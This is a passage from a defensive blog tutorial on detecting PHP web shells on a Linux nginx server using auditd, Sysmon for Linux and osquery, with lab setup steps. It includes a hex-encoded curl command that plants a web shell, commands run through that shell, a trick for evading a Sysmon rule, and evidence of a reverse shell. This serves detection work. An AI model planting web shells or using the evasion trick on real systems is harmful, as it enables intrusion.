<pre class="highlight"><code>type=SYSCALL msg=audit(1637597150.454:10650): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=556e6969fbc0 a2=241 a3=1b6 items=2 ppid=12962 pid=13086 <u><b>auid=1000 uid=0 gid=0 euid=0</b></u> suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=11 <u><b>comm="curl" exe="/usr/bin/curl"</b></u> subj==unconfined <u><b>key="www_changes"</b></u>, type=PATH msg=audit(1637597150.454:10650): item=0 <u><b>name="/var/www/html"</b></u> inode=526638 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597150.454:10650): item=1 <u><b>name="backdoor_shell.php"</b></u> inode=527243 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 <u><b>nametype=CREATE</b></u> cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597150.454:10650): <u><b>proctitle=6375726C0068747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F4A6F686E54726F6F6E792F7068702D7765627368656C6C732F6D61737465722F436F6C6C656374696F6E2F5048505F5368656C6C2E706870002D6F006261636B646F6F725F7368656C6C2E706870</b></u>
</code></pre>

<p>This allows us to note:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">euid=0</code> effective UID of the action</li>
  <li><code class="language-plaintext highlighter-rouge">exe="/usr/bin/curl”</code> the command that was run</li>
  <li><code class="language-plaintext highlighter-rouge">name="/var/www/html" ... name="backdoor_shell.php"</code> the output file</li>
  <li><code class="language-plaintext highlighter-rouge">key="www_changes"</code> the key of the auditd alert that was fired</li>
  <li><code class="language-plaintext highlighter-rouge">proctitle=63757...</code> is the hex encoded title of the process which is our original curl command </li>
</ul>

<p><strong>Notes on file integrity monitoring for detecting web shells</strong></p>

<p>There are other ways to check. For example, if there is version control (like git), you can compare the current state with a known good state and investigate the differences. </p>

<p>However, if there are folders where we expect specific files to be written and modified often, such as upload directories, then file integrity monitoring might not be fully effective. We might have to fine-tune this alert and try to exclude these upload directories to reduce noise, but how would you detect web shells uploaded within the upload directory! </p>

<p>We need to look for more effective means of detecting web shells.</p>

<h4 id="14-detection-looking-for-command-execution-for-www-data-usingauditd">1.4 Detection: Looking for command execution for www-data using auditd</h4>

<p>When we run webservers such as <code class="language-plaintext highlighter-rouge">nginx</code> the service will run under the user <code class="language-plaintext highlighter-rouge">www-data</code> . On regular operations, we should not expect to see that user running commands such as <code class="language-plaintext highlighter-rouge">whoami</code> or <code class="language-plaintext highlighter-rouge">ls</code> </p>

<p>However, if there was a web shell, these are some of the commands we are most likely going to see. Therefore, we should try to use <code class="language-plaintext highlighter-rouge">auditd</code> to detect these.</p>

<p>Here is an auditd rule that will look for <code class="language-plaintext highlighter-rouge">execve</code> syscalls by <code class="language-plaintext highlighter-rouge">www-data</code> (euid=33) and we tag this as <code class="language-plaintext highlighter-rouge">detect_execve_www</code> </p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-a always,exit -F arch=b64 -F euid=33 -S execve -k detect_execve_www  
-a always,exit -F arch=b32 -F euid=33 -S execve -k detect_execve_www
</code></pre></div></div>

<p>We run the following commands on our webshell</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whoami  
id  
pwd  
ls -alh
</code></pre></div></div>

<p>We get the following logs from <code class="language-plaintext highlighter-rouge">auditd</code> as parsed by auditbeats. </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*7RpLm9mtUADm1GoFGf8UNA.png" alt="" /></p>

<p>Here is an example of a raw auditd log for <code class="language-plaintext highlighter-rouge">whoami</code> </p>

<pre class="highlight"><code>type=SYSCALL msg=audit(1637597946.536:10913): arch=c000003e syscall=59 success=yes exit=0 a0=7fb62eb89519 a1=7ffd0906fa70 a2=555f6f1d7f50 a3=1 items=2 ppid=7182 pid=13281 auid=4294967295 <u><b>uid=33 gid=33 euid=33</b></u> suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 <u><b>comm="sh" exe="/usr/bin/dash"</b></u> subj==unconfined <u><b>key="detect_execve_www"</b></u>, type=EXECVE msg=audit(1637597946.536:10913):  <u><b>argc=3 a0="sh" a1="-c" a2="whoami"</b></u>, type=PATH msg=audit(1637597946.536:10913): item=0 name="/bin/sh" inode=709 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597946.536:10913): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=1449 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597946.536:10913): proctitle=7368002D630077686F616D69Appendix
</code></pre>

<p>This allows us to note:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">euid=33, uid=33</code> which is <code class="language-plaintext highlighter-rouge">www-data</code> </li>
  <li><code class="language-plaintext highlighter-rouge">comm="sh" exe="/usr/bin/dash”</code> the shell </li>
  <li><code class="language-plaintext highlighter-rouge">argsc=3 a0="sh" a1="-c" a2="whoami"</code> the commands run on the shell</li>
  <li><code class="language-plaintext highlighter-rouge">key="detect_execve_www"</code> the key of the auditd alert that was fired</li>
</ul>

<p><strong>Note regarding detect_execve_www</strong></p>

<p>Let’s say you decide to use the default rules found in <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">https://github.com/Neo23x0/auditd/blob/master/audit.rules</a></p>

<p>If you try to use ready-made detection rules such as those that come with <code class="language-plaintext highlighter-rouge">sigma</code> then you might try to use <a href="https://github.com/SigmaHQ/sigma/blob/master/rules/linux/auditd/lnx_auditd_web_rce.yml">lnx_auditd_web_rce.yml</a>. If you use this query using the rules from <em>Neo23x0</em> then <strong>you will fail to detect any web shells.</strong></p>

<p>This is because the detection rule is </p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">detection</span><span class="pi">:</span>  
    <span class="na">selection</span><span class="pi">:</span>  
        <span class="na">type</span><span class="pi">:</span> <span class="s1">'</span><span class="s">SYSCALL'</span>  
        <span class="na">syscall</span><span class="pi">:</span> <span class="s1">'</span><span class="s">execve'</span>  
        <span class="na">key</span><span class="pi">:</span> <span class="s1">'</span><span class="s">detect_execve_www'</span>  
    <span class="na">condition</span><span class="pi">:</span> <span class="s">selection</span>
</code></pre></div></div>
<p>Notice that this filters for the key <code class="language-plaintext highlighter-rouge">detect_execve_www</code> but this exact key is not defined anywhere in Neo23x0’s <code class="language-plaintext highlighter-rouge">audit.rules</code> ! This is why you should always test your configurations and see if it detects the known bad.</p>

<p>In the Neo23x0’s rules, the closest thing you might get are commented out by default</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## Suspicious shells  
#-w /bin/ash -p x -k susp_shell  
#-w /bin/bash -p x -k susp_shell  
#-w /bin/csh -p x -k susp_shell  
#-w /bin/dash -p x -k susp_shell  
#-w /bin/busybox -p x -k susp_shell  
#-w /bin/ksh -p x -k susp_shell  
#-w /bin/fish -p x -k susp_shell  
#-w /bin/tcsh -p x -k susp_shell  
#-w /bin/tclsh -p x -k susp_shell  
#-w /bin/zsh -p x -k susp_shell
</code></pre></div></div>

<p>In this case, our web shell used <code class="language-plaintext highlighter-rouge">/bin/dash</code> because it is the default shell used by <code class="language-plaintext highlighter-rouge">/bin/sh</code>in the current VM I tested this on. So the relevant rule would be</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /bin/dash -p x -k susp_shell
</code></pre></div></div>

<p>But this relies on the usage of <code class="language-plaintext highlighter-rouge">/bin/dash</code> buit if the web shell is able to use other shells, then this specific alert will fail. Test your auditd rules on specific scenarios to ensure that it works as expected.</p>

<p>For more information on how to write rules for auditd see:</p>

<ul>
  <li><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-defining_audit_rules_and_controls">https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-defining_audit_rules_and_controls</a></li>
  <li><a href="https://www.redhat.com/sysadmin/configure-linux-auditing-auditd">https://www.redhat.com/sysadmin/configure-linux-auditing-auditd</a></li>
</ul>

<h4 id="15-detection-looking-for-command-execution-for-www-data-usingsysmon">1.5 Detection: Looking for command execution for www-data using sysmon</h4>

<p><a href="https://github.com/microsoft/MSTIC-Sysmon">MSTIC-Sysmon</a> has two rules for this found individually:</p>

<ul>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1505.003_WebShell_SuspSubProcesses.xml">T1505.003</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/75e131c07a3dc96ccddbeffa8c1d91e0759d4b25/linux/configs/attack-based/execution/T1059.004_UnixShell_CommonShells.xml">T1059.004</a></li>
</ul>

<p>Where we can see:</p>

<ul>
  <li>Process creation using /bin/bash, /bin/dash, or/bin/sh</li>
  <li>Process creation with the parent process dash or nginx or … containing and the current command is one of <code class="language-plaintext highlighter-rouge">whoami</code> , <code class="language-plaintext highlighter-rouge">ifconfig</code> , <code class="language-plaintext highlighter-rouge">/usr/bin/ip</code> , etc.</li>
</ul>

<p>If we run <code class="language-plaintext highlighter-rouge">whoami</code> in the setup we have, the first rule that will be triggered would <strong><em>T1059.004,TechniqueName=Command and Scripting Interpreter: Unix Shell</em></strong> because of the order of the rules.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>1<span class="nt">&lt;/EventID&gt;</span>
    <span class="nt">&lt;Version&gt;</span>5<span class="nt">&lt;/Version&gt;</span>
    <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
    <span class="nt">&lt;Computer&gt;</span>sysmon-test<span class="nt">&lt;/Computer&gt;</span>
    <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1059.004,TechniqueName=Command and Scriptin<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2021-11-23 14:06:07.116<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{717481a5-f54f-619c-2d4e-bd5574550000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>11662<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/dash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"FileVersion"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Description"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Product"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Company"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"OriginalFileName"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CommandLine"</span><span class="nt">&gt;</span>sh -c whoami<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CurrentDirectory"</span><span class="nt">&gt;</span>/var/www/html<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonGuid"</span><span class="nt">&gt;</span>{717481a5-0000-0000-2100-000000000000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonId"</span><span class="nt">&gt;</span>33<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TerminalSessionId"</span><span class="nt">&gt;</span>4294967295<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"IntegrityLevel"</span><span class="nt">&gt;</span>no level<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Hashes"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentProcessGuid"</span><span class="nt">&gt;</span>{00000000-0000-0000-0000-000000000000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentProcessId"</span><span class="nt">&gt;</span>10242<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentImage"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentCommandLine"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentUser"</span><span class="nt">&gt;</span>-<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>Here we see <code class="language-plaintext highlighter-rouge">/bin/dash</code> being executed that is why the rule was triggered. Afterwards, the rule <strong><em>T1505.003,TechniqueName=Server Software Component: Web Shell</em></strong> is triggered because of <code class="language-plaintext highlighter-rouge">whoami</code> .</p>

<p>Here is the log for it. I’ve removed some fields for brevity.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>1<span class="nt">&lt;/EventID&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1505.003,TechniqueName=Serv<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2021-11-23 14:06:07.118<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{717481a5-f54f-619c-c944-fd0292550000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>11663<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/whoami<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CommandLine"</span><span class="nt">&gt;</span>whoami<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CurrentDirectory"</span><span class="nt">&gt;</span>/var/www/html<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonGuid"</span><span class="nt">&gt;</span>{717481a5-0000-0000-2100-000000000000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"LogonId"</span><span class="nt">&gt;</span>33<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentProcessId"</span><span class="nt">&gt;</span>11662<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentImage"</span><span class="nt">&gt;</span>/usr/bin/dash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentCommandLine"</span><span class="nt">&gt;</span>sh<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ParentUser"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>Now with this knowledge, we can bypass <code class="language-plaintext highlighter-rouge">T1505.003</code>  sysmon rule. By running <code class="language-plaintext highlighter-rouge">system("/bin/bash whoami")</code> so that the parent image of the <code class="language-plaintext highlighter-rouge">whoami</code> command would not be <code class="language-plaintext highlighter-rouge">dash</code> . This would trigger two <code class="language-plaintext highlighter-rouge">T1059.004</code> alerts.</p>

<p>Just for an exercise, if we want to replicate our <code class="language-plaintext highlighter-rouge">detect_execve_www</code> in sysmon, we can use the following rule</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"detect_shell_www"</span> <span class="na">groupRelation=</span><span class="s">"and"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;User</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>www-data<span class="nt">&lt;/User&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"contains any"</span><span class="nt">&gt;</span>/bin/bash;/bin/dash;/bin/sh;whoami<span class="nt">&lt;/Image&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/ProcessCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
</code></pre></div></div>

<p>And if we want to do basic file integrity monitoring with sysmon we can use</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"change_www"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/var/www/html<span class="nt">&lt;/TargetFilename&gt;</span> 
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>For more information about writing your own sysmon rules you can look at:</p>

<ul>
  <li><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files">https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#configuration-files</a></li>
  <li><a href="https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649">https://techcommunity.microsoft.com/t5/sysinternals-blog/sysmon-the-rules-about-rules/ba-p/733649</a></li>
  <li><a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml">https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon">https://github.com/microsoft/MSTIC-Sysmon</a></li>
</ul>

<h4 id="16-hunting-for-web-shells-using-osquery">1.6 Hunting for web shells using osquery</h4>

<p>For osquery, we might not be able to “find” the web shells itself, but we might be able to find evidence of the webshell. If an attacker uses a web shell, it is possible they will try to establish a reverse shell. If so, we should be an outbound connection from the web server to the attacker.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">pid</span><span class="p">,</span> <span class="n">remote_address</span><span class="p">,</span> <span class="n">local_port</span><span class="p">,</span> <span class="n">remote_port</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="k">state</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">cmdline</span><span class="p">,</span> <span class="n">p</span><span class="p">.</span><span class="n">uid</span><span class="p">,</span> <span class="n">username</span>  
<span class="k">FROM</span> <span class="n">process_open_sockets</span>  <span class="k">AS</span> <span class="n">s</span> 
<span class="k">JOIN</span> <span class="n">processes</span> <span class="k">AS</span> <span class="n">p</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">pid</span><span class="p">)</span> 
<span class="k">JOIN</span> <span class="n">users</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
<span class="k">WHERE</span> 
    <span class="n">s</span><span class="p">.</span><span class="k">state</span> <span class="o">=</span> <span class="s1">'ESTABLISHED'</span> 
    <span class="k">OR</span> <span class="n">s</span><span class="p">.</span><span class="k">state</span> <span class="o">=</span> <span class="s1">'LISTEN'</span><span class="p">;</span>
</code></pre></div></div>

<p>This look for processes with sockets that have established connections or has a listening port.</p>

<pre class="highlight" style="white-space:pre;"><code style="white-space:pre;">
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| pid   | remote_address  | local_port | remote_port | state       | name            | cmdline                                | uid  | username |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| 14209 | 0.0.0.0         | 22         | 0           | LISTEN      | sshd            | /usr/sbin/sshd -D                      | 0    | root     |
| 468   | 0.0.0.0         | 80         | 0           | LISTEN      | nginx           | nginx: worker process                  | 33   | www-data |
| 461   | 74.125.200.95   | 51434      | 443         | ESTABLISHED | google_guest_ag | /usr/bin/google_guest_agent            | 0    | root     |
| 8563  | 10.0.0.13       | 39670      | 9200        | ESTABLISHED | auditbeat       | /usr/share/auditbeat/bin/auditbeat ... | 0    | root     |
| 17770 | 6.7.8.9         | 22         | 20901       | ESTABLISHED | sshd            | sshd: user@pts/0                       | 1000 | user     |
| 17776 | 1.2.3.4         | 51998      | 1337        | ESTABLISHED | bash            | bash                                   | 33   | www-data |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
</code></pre>

<p>Notice we that we see exposed port <code class="language-plaintext highlighter-rouge">22</code> and port <code class="language-plaintext highlighter-rouge">80</code> which is normal. We see outbound connections for some binaries used by GCP (my VM is hosted in GCP) as well as the <code class="language-plaintext highlighter-rouge">auditbeat</code> service that ships my logs to the SIEM.</p>

<p>We also see an active SSH connection from <code class="language-plaintext highlighter-rouge">6.7.8.9</code> which might be normal.</p>

<p>What should catch your eye is the connection <code class="language-plaintext highlighter-rouge">pid =17776</code>. It is an outbound connection to port <code class="language-plaintext highlighter-rouge">1337</code> running shell by <code class="language-plaintext highlighter-rouge">www-data</code>! This is probably an active reverse shell!</p>

<h3 id="whats-next">What’s next</h3>

<p>We’ve discussed basic of monitoring and logging with sysmon, osqueryu, auditd and auditbeats and we have used the case study of how to detect the creation and usage of web shells.</p>

<p>In the next blog post we will go through account creation and manipulation.</p>

<h3 id="appendix">Appendix</h3>

<h4 id="a00-setup-nginx-andphp">A00 Setup nginx and php</h4>

<p>If you want to try this out on your own VM, you need to first setup an nginx server that is configured to use php. (<a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04">We follow this guide</a>).</p>

<p>You need to install nginx and php</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get update  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>nginx  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>php-fpm

<span class="nb">sudo </span>vi /etc/php/7.3/fpm/php.ini  
<span class="c"># cgi.fix_pathinfo=0  </span>
<span class="nb">sudo </span>systemctl restart php7.3-fpm

<span class="nb">sudo </span>vi /etc/nginx/sites-available/default  
<span class="c"># configure nginx to use php see next codeblock</span>

<span class="nb">sudo </span>systemctl restart nginx
</code></pre></div></div>
<p>The nginx config might look something like this</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server {  
    listen 80 default_server;  
    listen [::]:80 default_server;

root /var/www/html;

index index.html index.htm index.nginx-debian.html;

server_name _;

location / {  
        try_files $uri $uri/ =404;  
    }

location ~ \\.php$ {  
        include snippets/fastcgi-php.conf;  
        fastcgi_pass unix:/run/php/php7.3-fpm.sock;  
    }  
}
</code></pre></div></div>

<p>Now you should have a web server listening in port 80 that can run php code. Any file that ends with <code class="language-plaintext highlighter-rouge">.php</code> will be run as php code.</p>

<h4 id="a01-setup-sysmon-forlinux">A01 Setup sysmon for linux</h4>

<p>For sysmon for linux, I was on Debian 10, so based on <a href="https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md">https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget <span class="nt">-qO-</span> https://packages.microsoft.com/keys/microsoft.asc | gpg <span class="nt">--dearmor</span> <span class="o">&gt;</span> microsoft.asc.gpg  
<span class="nb">sudo mv </span>microsoft.asc.gpg /etc/apt/trusted.gpg.d/  
wget <span class="nt">-q</span> https://packages.microsoft.com/config/debian/10/prod.list  
<span class="nb">sudo mv </span>prod.list /etc/apt/sources.list.d/microsoft-prod.list  
<span class="nb">sudo chown </span>root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg  
<span class="nb">sudo chown </span>root:root /etc/apt/sources.list.d/microsoft-prod.list

<span class="nb">sudo </span>apt-get update  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>apt-transport-https  
<span class="nb">sudo </span>apt-get update  
<span class="nb">sudo </span>apt-get <span class="nb">install </span>sysmonforlinux
</code></pre></div></div>

<p>I used <a href="https://github.com/microsoft/MSTIC-Sysmon">microsoft/MSTIC-Sysmon</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/microsoft/MSTIC-Sysmon.git 
<span class="nb">cd </span>MSTIC-Sysmon/linux/configs  
<span class="nb">sudo </span>sysmon <span class="nt">-accepteula</span> <span class="nt">-i</span> main.xml

<span class="c"># if you are experimenting and want to see all sysmon logs use  </span>
<span class="c"># sudo sysmon -accepteula -i main.xml</span>
</code></pre></div></div>
<p>Logs should now be available in <code class="language-plaintext highlighter-rouge">/var/log/syslog</code> </p>

<p>If you want to add rules to <code class="language-plaintext highlighter-rouge">main.xml</code> then you can modify it and then reload the config and restart sysmon</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>sysmon <span class="nt">-c</span> main.xml  
<span class="nb">sudo </span>sysmtectl restart sysmon
</code></pre></div></div>
<h4 id="a02-setup-auditbeats-and-auditd-forlinux">A02 Setup auditbeats and auditd for linux </h4>

<p>Note: Setting up a local elasticsearch clustering is out of scope of this blog post. </p>

<p>Elastic has good documentation for auditbeats: <a href="https://www.elastic.co/guide/en/beats/auditbeat/7.15/auditbeat-installation-configuration.html">https://www.elastic.co/guide/en/beats/auditbeat/7.15/auditbeat-installation-configuration.html</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-L</span> <span class="nt">-O</span> https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.15.2-amd64.deb  
<span class="nb">sudo </span>dpkg <span class="nt">-i</span> auditbeat-7.15.2-amd64.deb
</code></pre></div></div>
<p>Modify <code class="language-plaintext highlighter-rouge">/etc/auditbeat/auditbeat.yml</code></p>

<p>Add the config for elasticsearch</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">output.elasticsearch</span><span class="pi">:</span>  
  <span class="na">hosts</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">10.10.10.10:9200"</span><span class="pi">]</span>  
